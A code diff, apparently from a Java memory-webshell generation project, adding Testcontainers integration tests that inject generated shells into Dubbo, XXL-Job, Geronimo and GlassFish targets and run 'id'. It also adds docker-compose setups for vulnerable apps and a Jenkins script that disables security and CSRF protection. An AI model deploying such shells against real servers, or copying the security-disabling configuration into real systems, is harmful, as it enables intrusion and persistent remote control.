- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jboss/server/web/deploy/app.war
@@ -0,0 +1,10 @@
services:
jetty5110:
image: reajason/jetty:5.1.10-jdk6
ports:
- "8888:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jetty/webapps/app.war
@@ -0,0 +1,11 @@
services:
jetty716:
image: reajason/jetty:7.1.6-jdk6
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../asserts/agent/jattach-linux:/opt/jattach
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/resin2/webapps/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.0.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.0.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.1.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.1.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -0,0 +1,13 @@
import jenkins.model.*
import hudson.security.*
import jenkins.security.s2m.AdminWhitelistRule
def instance = Jenkins.getInstance()
//
instance.disableSecurity()
// CSRF
instance.setCrumbIssuer(null)
instance.save()
@@ -16,6 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile servlet2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-servlet2", "build", "libs", "vul-webapp-servlet2.war").toAbsolutePath(), 0666);
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
@@ -27,6 +28,8 @@ public class ContainerTool {
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath());
public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
@@ -381,7 +381,8 @@ public class ShellAssertion {
}
if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|| Packers.JXPathSpringGzipJDK17.equals(packer)
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
}
@@ -429,7 +430,7 @@ public class ShellAssertion {
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
@@ -444,9 +445,11 @@ public class ShellAssertion {
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -6,6 +6,7 @@ import okhttp3.*;
import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -78,6 +79,23 @@ public class VulTool {
}
}
@SneakyThrows
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
OkHttpClient client = new OkHttpClient();
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Connection", "close")
.build();
log.info("sending hessian2 xxl-rpc request to: {}", url);
try (Response response = client.newCall(request).execute()) {
log.info("xxl-rpc hessian2 response code: {}", response.code());
Thread.sleep(1000);
}
}
@SneakyThrows
public static void xxlJobExecutor(String url, String data) {
OkHttpClient client = new OkHttpClient();
@@ -0,0 +1,36 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
@Testcontainers
@Tag("dubbo-container")
class AlibabaDubbo2612ContainerTest {
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
"alibaba-dubbo-2.6.12",
"alibaba",
"dubbo.alibaba.provider.jar",
"eclipse-temurin:8-jre",
20880,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", 20880),
new DubboProtocolTarget("hessian", 28080)
)
);
@Container
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
@Test
void testDubboServiceRegistration() {
DubboServiceAssertion.assertCommandService(container, SCENARIO);
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
@Testcontainers
@Tag("dubbo-container")
class ApacheDubbo27xContainerTest {
private static final String IMAGE = "eclipse-temurin:17-jdk";
private static final DubboProviderScenario APACHE_276 = apacheScenario(
"apache-dubbo-2.7.6",
"dubbo.apache276.provider.jar",
20885,
28086
);
private static final DubboProviderScenario APACHE_277 = apacheScenario(
"apache-dubbo-2.7.7",
"dubbo.apache277.provider.jar",
20886,
28088
);
private static final DubboProviderScenario APACHE_278 = apacheScenario(
"apache-dubbo-2.7.8",
"dubbo.apache278.provider.jar",
20887,
28090
);
private static final DubboProviderScenario APACHE_2723 = apacheScenario(
"apache-dubbo-2.7.23",
"dubbo.apache2723.provider.jar",
20881,
28082
);
@Container
static final GenericContainer<?> apache276 = DubboContainerFactory.buildProvider(APACHE_276);
@Container
static final GenericContainer<?> apache277 = DubboContainerFactory.buildProvider(APACHE_277);
@Container
static final GenericContainer<?> apache278 = DubboContainerFactory.buildProvider(APACHE_278);
@Container
static final GenericContainer<?> apache2723 = DubboContainerFactory.buildProvider(APACHE_2723);
static Stream<Arguments> scenarios() {
return Stream.of(
Arguments.of(apache276, APACHE_276),
Arguments.of(apache277, APACHE_277),
Arguments.of(apache278, APACHE_278),
Arguments.of(apache2723, APACHE_2723)
);
}
@ParameterizedTest(name = "{1}")
@MethodSource("scenarios")
void testDubboServiceRegistration(GenericContainer<?> container, DubboProviderScenario scenario) {
DubboServiceAssertion.assertCommandService(container, scenario);
}
private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) {
return new DubboProviderScenario(
name,
"apache",
providerJarProperty,
IMAGE,
dubboPort,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", dubboPort),
new DubboProtocolTarget("hessian", hessianPort)
)
);
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
@Testcontainers
@Tag("dubbo-container")
class ApacheDubbo336ContainerTest {
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
"apache-dubbo-3.3.6",
"apache",
"dubbo.apache336.provider.jar",
"eclipse-temurin:17-jdk",
20882,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", 20882),
new DubboProtocolTarget("hessian", 28084),
new DubboProtocolTarget("tri", 50051)
)
);
@Container
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
@Test
void testDubboServiceRegistration() {
DubboServiceAssertion.assertCommandService(container, SCENARIO);
}
}
@@ -0,0 +1,130 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
final class DubboClientRunner {
private DubboClientRunner() {
}
static String loadBytes(String clientKind, String url, String base64) {
return run(clientKind, "load-bytes", url, base64);
}
static String runCommand(String clientKind, String url, String interfaceName, String command) {
return run(clientKind, "run-command", url, interfaceName, command);
}
@SneakyThrows
private static String run(String clientKind, String... args) {
List<String> command = new ArrayList<String>();
String javaExecutable = javaExecutable(clientKind);
command.add(javaExecutable);
if (supportsAddOpens(javaExecutable)) {
command.add("--add-opens=java.base/java.lang=ALL-UNNAMED");
command.add("--add-opens=java.base/java.math=ALL-UNNAMED");
}
command.add("-cp");
command.add(clientClasspath(clientKind));
command.add(mainClass(clientKind));
for (String arg : args) {
command.add(arg);
}
Process process = new ProcessBuilder(command)
.redirectErrorStream(true)
.start();
ByteArrayOutputStream output = new ByteArrayOutputStream();
copy(process.getInputStream(), output);
int exitCode = process.waitFor();
String rendered = output.toString(StandardCharsets.UTF_8).trim();
if (exitCode != 0) {
throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered);
}
return rendered;
}
private static String clientClasspath(String clientKind) {
String property = System.getProperty("dubbo." + clientKind + ".client.classpath");
if (isBlank(property)) {
throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property");
}
return property;
}
private static String mainClass(String clientKind) {
if ("alibaba".equals(clientKind)) {
return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient";
}
if ("apache".equals(clientKind)) {
return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient";
}
throw new IllegalArgumentException("unsupported client kind: " + clientKind);
}
private static String javaExecutable(String clientKind) {
if (!"alibaba".equals(clientKind)) {
return "java";
}
String java8Home = System.getenv("JAVA8_HOME");
if (isBlank(java8Home)) {
java8Home = System.getProperty("java8.home");
}
if (isBlank(java8Home)) {
return "java";
}
return java8Home + "/bin/java";
}
private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException {
Process process = new ProcessBuilder(javaExecutable, "-version")
.redirectErrorStream(true)
.start();
ByteArrayOutputStream output = new ByteArrayOutputStream();
copy(process.getInputStream(), output);
int exitCode = process.waitFor();
if (exitCode != 0) {
return true;
}
return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9;
}
private static int majorVersion(String versionOutput) {
Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput);
if (!matcher.find()) {
return 9;
}
String version = matcher.group(1);
if (version.startsWith("1.")) {
int dot = version.indexOf('.', 2);
return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot));
}
int dot = version.indexOf('.');
return leadingInteger(dot < 0 ? version : version.substring(0, dot));
}
private static int leadingInteger(String value) {
Matcher matcher = Pattern.compile("^(\\d+)").matcher(value);
return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9;
}
private static boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException {
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) >= 0) {
outputStream.write(buffer, 0, read);
}
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Files;
import java.nio.file.Path;
import java.time.Duration;
final class DubboContainerFactory {
private DubboContainerFactory() {
}
static GenericContainer<?> buildProvider(DubboProviderScenario scenario) {
String jarPath = providerJarPath(scenario.providerJarProperty());
GenericContainer<?> container = new GenericContainer<>(scenario.imageName())
.withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar")
.withWorkingDirectory("/app")
.withExposedPorts(exposedPorts(scenario))
.waitingFor(Wait.forLogMessage(".*Provider started.*", 1)
.withStartupTimeout(Duration.ofMinutes(3)));
if ("alibaba".equals(scenario.clientKind())) {
container.withCommand("java", "-jar", "/app/app.jar");
} else {
container.withCommand(
"java",
"--add-opens", "java.base/java.lang=ALL-UNNAMED",
"--add-opens", "java.base/java.math=ALL-UNNAMED",
"-jar", "/app/app.jar"
);
}
return container;
}
private static Integer[] exposedPorts(DubboProviderScenario scenario) {
return scenario.commandTargets().stream()
.map(DubboProtocolTarget::port)
.distinct()
.toArray(Integer[]::new);
}
private static String providerJarPath(String propertyName) {
String value = System.getProperty(propertyName);
if (value == null || value.trim().isEmpty()) {
throw new IllegalStateException("missing " + propertyName + " system property");
}
Path path = Path.of(value);
if (!Files.isRegularFile(path)) {
throw new IllegalStateException("provider jar does not exist: " + path);
}
return path.toAbsolutePath().toString();
}
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.integration.memshell.dubbo;
final class DubboProtocolTarget {
private final String protocol;
private final int port;
DubboProtocolTarget(String protocol, int port) {
this.protocol = protocol;
this.port = port;
}
String protocol() {
return protocol;
}
int port() {
return port;
}
String url(String host, String interfaceName) {
return protocol + "://" + host + ":" + port + "/" + interfaceName;
}
String url(String host, int mappedPort, String interfaceName) {
return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName;
}
}
@@ -0,0 +1,66 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import com.reajason.javaweb.memshell.ShellType;
import java.util.List;
final class DubboProviderScenario {
private final String name;
private final String clientKind;
private final String providerJarProperty;
private final String imageName;
private final int loaderPort;
private final int targetJdkVersion;
private final List<DubboProtocolTarget> commandTargets;
DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName,
int loaderPort, int targetJdkVersion, List<DubboProtocolTarget> commandTargets) {
this.name = name;
this.clientKind = clientKind;
this.providerJarProperty = providerJarProperty;
this.imageName = imageName;
this.loaderPort = loaderPort;
this.targetJdkVersion = targetJdkVersion;
this.commandTargets = commandTargets;
}
String name() {
return name;
}
String clientKind() {
return clientKind;
}
String providerJarProperty() {
return providerJarProperty;
}
String imageName() {
return imageName;
}
int loaderPort() {
return loaderPort;
}
int targetJdkVersion() {
return targetJdkVersion;
}
List<DubboProtocolTarget> commandTargets() {
return commandTargets;
}
String shellType() {
if ("alibaba".equals(clientKind)) {
return ShellType.ALIBABA_DUBBO_SERVICE;
}
return ShellType.APACHE_DUBBO_SERVICE;
}
@Override
public String toString() {
return name;
}
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.testcontainers.containers.GenericContainer;
import java.util.List;
import java.util.stream.Collectors;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.anyOf;
import static org.hamcrest.Matchers.containsString;
@Slf4j
final class DubboServiceAssertion {
private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService";
private static final String COMMAND = "id";
private DubboServiceAssertion() {
}
static void assertCommandService(GenericContainer<?> container, DubboProviderScenario scenario) {
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(
scenario.shellType(),
ShellTool.Command,
Packers.Base64
);
MemShellResult result = ShellAssertion.generate(
null,
Server.Dubbo,
null,
scenario.shellType(),
ShellTool.Command,
scenario.targetJdkVersion(),
shellToolConfig,
Packers.Base64
);
String interfaceName = result.getInjectorConfig().getUrlPattern();
String host = container.getHost();
String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE;
log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl);
String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str());
log.info("{} load output: {}", scenario.name(), loadOutput);
List<String> fallbackUrls = scenario.commandTargets().stream()
.map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName))
.collect(Collectors.toList());
List<String> commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls);
for (String commandUrl : commandUrls) {
String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND);
log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output);
assertThat(output, anyOf(containsString("uid="), containsString("injected-ok")));
}
}
}
@@ -0,0 +1,72 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
final class DubboUrlResolver {
private DubboUrlResolver() {
}
static List<String> resolveCommandUrls(String loadOutput, String interfaceName, List<String> fallbackUrls) {
Map<String, String> discoveredByProtocol = new LinkedHashMap<String, String>();
Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?");
Matcher matcher = pattern.matcher(loadOutput);
while (matcher.find()) {
String candidate = matcher.group();
discoveredByProtocol.put(protocolOf(candidate), candidate);
}
return fallbackUrls.stream()
.map(fallback -> {
String discovered = discoveredByProtocol.get(protocolOf(fallback));
return discovered == null ? fallback : rewriteEndpoint(discovered, fallback);
})
.collect(Collectors.toList());
}
static String protocolOf(String url) {
int separator = url.indexOf("://");
return separator < 0 ? url : url.substring(0, separator);
}
static String rewriteHost(String url, String host) {
try {
URI uri = new URI(url);
return new URI(
uri.getScheme(),
uri.getUserInfo(),
host,
uri.getPort(),
uri.getPath(),
uri.getQuery(),
uri.getFragment()
).toString();
} catch (URISyntaxException e) {
throw new IllegalArgumentException("invalid direct url: " + url, e);
}
}
static String rewriteEndpoint(String url, String endpointUrl) {
try {
URI uri = new URI(url);
URI endpoint = new URI(endpointUrl);
return new URI(
uri.getScheme(),
uri.getUserInfo(),
endpoint.getHost(),
endpoint.getPort(),
uri.getPath(),
uri.getQuery(),
uri.getFragment()
).toString();
} catch (URISyntaxException e) {
throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e);
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.contains;
class DubboUrlResolverTest {
@Test
void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() {
String interfaceName = "org.example.ICommandService";
String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, "
+ "hessian://10.1.2.3:28080/" + interfaceName;
List<String> resolved = DubboUrlResolver.resolveCommandUrls(
loadOutput,
interfaceName,
List.of(
"dubbo://127.0.0.1:1111/" + interfaceName,
"hessian://127.0.0.1:2222/" + interfaceName,
"tri://127.0.0.1:3333/" + interfaceName
)
);
assertThat(resolved, contains(
"dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider",
"hessian://127.0.0.1:2222/" + interfaceName,
"tri://127.0.0.1:3333/" + interfaceName
));
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.geronimo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.server(Server.Jetty)
.imageName("reajason/geronimo:2.2.1-jetty7")
.warFile(ContainerTool.warFile)
.warDeployPath("/opt/geronimo/deploy/app.war")
.pidScript(ContainerTool.javaPid)
.serverVersion("7+")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,68 @@
package com.reajason.javaweb.integration.memshell.geronimo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Testcontainers
public class Geronimo221Tomcat6ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.server(Server.Tomcat)
.imageName("reajason/geronimo:2.2.1-tomcat6")
.warFile(ContainerTool.warFile)
.warDeployPath("/opt/geronimo/deploy/app.war")
.pidScript(ContainerTool.javaPid)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -8,6 +8,7 @@ import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
@@ -24,6 +25,7 @@ public class GlassFish7ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.0.20-jdk17",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V17)
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}

Some files were not shown because too many files have changed in this diff Show More